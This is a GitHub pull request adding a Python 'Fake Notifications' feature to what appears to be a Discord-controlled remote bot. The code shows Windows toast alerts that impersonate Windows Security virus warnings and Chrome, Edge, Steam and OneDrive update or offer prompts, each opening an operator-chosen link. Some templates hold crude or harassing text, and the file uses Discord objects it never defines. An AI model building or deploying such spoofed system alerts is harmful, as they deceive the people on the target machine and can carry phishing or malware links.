Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Updated the Fake Notifications #391

Open
wants to merge 1 commit into
base: v4-dev
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
255 changes: 255 additions & 0 deletions resources/features/Fake_Notifications_With_Icons/Fake_Notifications.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,255 @@
import shlex
import os
from windows_toasts import Toast, ToastDisplayImage, WindowsToaster

def send_custom_notification(parameters):
toaster = WindowsToaster(parameters["appname"])
new_toast = Toast()
new_toast.text_fields = [parameters["title"], parameters["text"]]

image_path = parameters["image"]
if image_path and os.path.exists(image_path):
new_toast.AddImage(ToastDisplayImage.fromPath(image_path))

default_link = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
link = parameters.get("link", default_link)

new_toast.launch_action = link

if "duration" in parameters:
new_toast.duration = parameters["duration"]

if "sound" in parameters:
new_toast.audio = parameters["sound"]

try:
toaster.show_toast(new_toast)
return True
except Exception as e:
print(f"Failed to send notification. Error: {str(e)}")
return False

def default_customs():
return {
"title": "Virus behaviour detected",
"appname": "Windows Security",
"text": "Click here to view actions",
"image": "WindowsSecurityIcon.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}

def syntaxhelp():
syntax_embed = discord.Embed(
title="Syntax Guide",
description="To send a custom notification, use the following syntax:",
color=discord.Color.blue()
)
syntax_embed.add_field(name="`.notification Parameter1="" Parameter2=""`", value="Parameters: title, text, image, link, duration, sound")
syntax_embed.add_field(name="Examples:", value="`.notification title='Virus behaviour detected' text='Click here to view actions' image='WindowsSecurityIcon.png' link='https://www.youtube.com/watch?v=dQw4w9WgXcQ'`")
syntax_embed.add_field(name="Templates:", value="`.notification 1 of ( windows_security, steam, epic, appx, chrome, edge, excel, firefox, internet, onedrive, outlook, adobe, powerpoint, skype, teams, video_player, vlc, winrar, word (DO NOT WRITE ANY CAPITAL LETTERS IN THE TEMPLATE NAME)")
return syntax_embed

def handle_parameters(kwargs):
custom_parameters = {key: value for key, value in kwargs.items()}

parameters = {}
parameters.update(custom_parameters)

if "Hero" in kwargs:
parameters["image"] = kwargs["Hero"]

defaults = default_customs()
for key, value in defaults.items():
if key not in parameters:
parameters[key] = value

return parameters

@client.event
async def on_ready():
print('We have logged in as {0.user}'.format(client))

@client.command(name='notification')
async def handle_notification(ctx, *, args=""):
await ctx.message.delete()
args_list = shlex.split(args)
print("Args list:", args_list)

if not args_list:
syntax_embed = syntaxhelp()
await ctx.send(embed=syntax_embed)
return


template_name = args_list[0].lower()

if template_name in ['windows_security', 'steam', 'epic','appx','chrome','edge','excel','firefox','internet','onedrive','outlook','adobe','powerpoint','skype','teams','video_player','vlc','winrar','word']:
if template_name == 'windows_security':
parameters = default_customs()
elif template_name == 'steam':
parameters = {
"title": "100% Free day",
"appname": "Steam",
"text": "All games on Steam are 100% free today",
"image": "steam.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'epic':
parameters = {
"title": "100% Free day",
"appname": "Epicgames",
"text": "All games on Epic Games are 100% free today",
"image": "epic.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'appx':
parameters = {
"title": "New app found",
"appname": "appx",
"text": "Please click here to safely install",
"image": "appx.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'chrome':
parameters = {
"title": "New Update",
"appname": "Chrome",
"text": "Click here to Update",
"image": "chrome.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'edge':
parameters = {
"title": "New Update",
"appname": "Microsoft Edge",
"text": "Please click here to safely install",
"image": "edge.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'excel':
parameters = {
"title": "WorkBook Unsaved",
"appname": "Excel",
"text": "Click here to save it",
"image": "excel.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'firefox':
parameters = {
"title": "Update Available",
"appname": "FireFox",
"text": "Click here to install updates",
"image": "Firefox.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'internet':
parameters = {
"title": "Download Link Found",
"appname": "Internet Download Manager",
"text": "Click Here to safely download",
"image": "internet.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'onedrive':
parameters = {
"title": "100% Free 1TB of storage for 1 year",
"appname": "OneDrive",
"text": "Click Here to view offer",
"image": "OneDrive.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'outlook':
parameters = {
"title": "Organize Your Emails Now",
"appname": "OutLook",
"text": "Organize your emails now 100% free",
"image": "Outlook.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'adobe':
parameters = {
"title": "100% Free PDF to TXT",
"appname": "Adobe",
"text": "Click here to use the tool",
"image": "Adobe.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'powerpoint':
parameters = {
"title": "PowerPoint Unsaved",
"appname": "PowerPoint",
"text": "Click here to save it",
"image": "PowerPoint.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'skype':
parameters = {
"title": "36 Girls and 1 Boy marked you as Crush",
"appname": "Skype",
"text": "Click Here to view them",
"image": "skype.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'teams':
parameters = {
"title": "1 meeting scheduled with FBI successfully",
"appname": "Teams",
"text": "Click here for more details",
"image": "Teams.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'video_player':
parameters = {
"title": "The video 'fuck me daddy.mp4' was deleted for name violence",
"appname": "VideoPlayer",
"text": "Click here to view actions",
"image": "VideoPlayer.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'winrar':
parameters = {
"title": "System ZIP file successfully Unzipped",
"appname": "WinRAR",
"text": "Click here to open",
"image": "WinRAR.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
elif template_name == 'word':
parameters = {
"title": "Word file Unsaved",
"appname": "Excel",
"text": "Click here to save it",
"image": "word.png",
"link": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
if send_custom_notification(parameters):
await ctx.send(f"{parameters['appname']} notification sent successfully!")
else:
await ctx.send(f"Failed to send {parameters['appname']} notification.")
else:
kwargs = {}
for arg in args_list:
if "=" in arg:
key, value = arg.split("=", maxsplit=1)
print("Key:", key, "Value:", value)
value = value.strip('"')
kwargs[key.strip()] = value

if not kwargs:
syntax_embed = syntaxhelp()
await ctx.send(embed=syntax_embed)
return


parameters = handle_parameters(kwargs)

if "link" in kwargs:
link = kwargs["link"]
if not link.startswith("http://") and not link.startswith("https://"):
link = "https://" + link
parameters["link"] = link

if send_custom_notification(parameters):
await ctx.send("Notification sent successfully!")
else:
await ctx.send("Failed to send notification.")
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.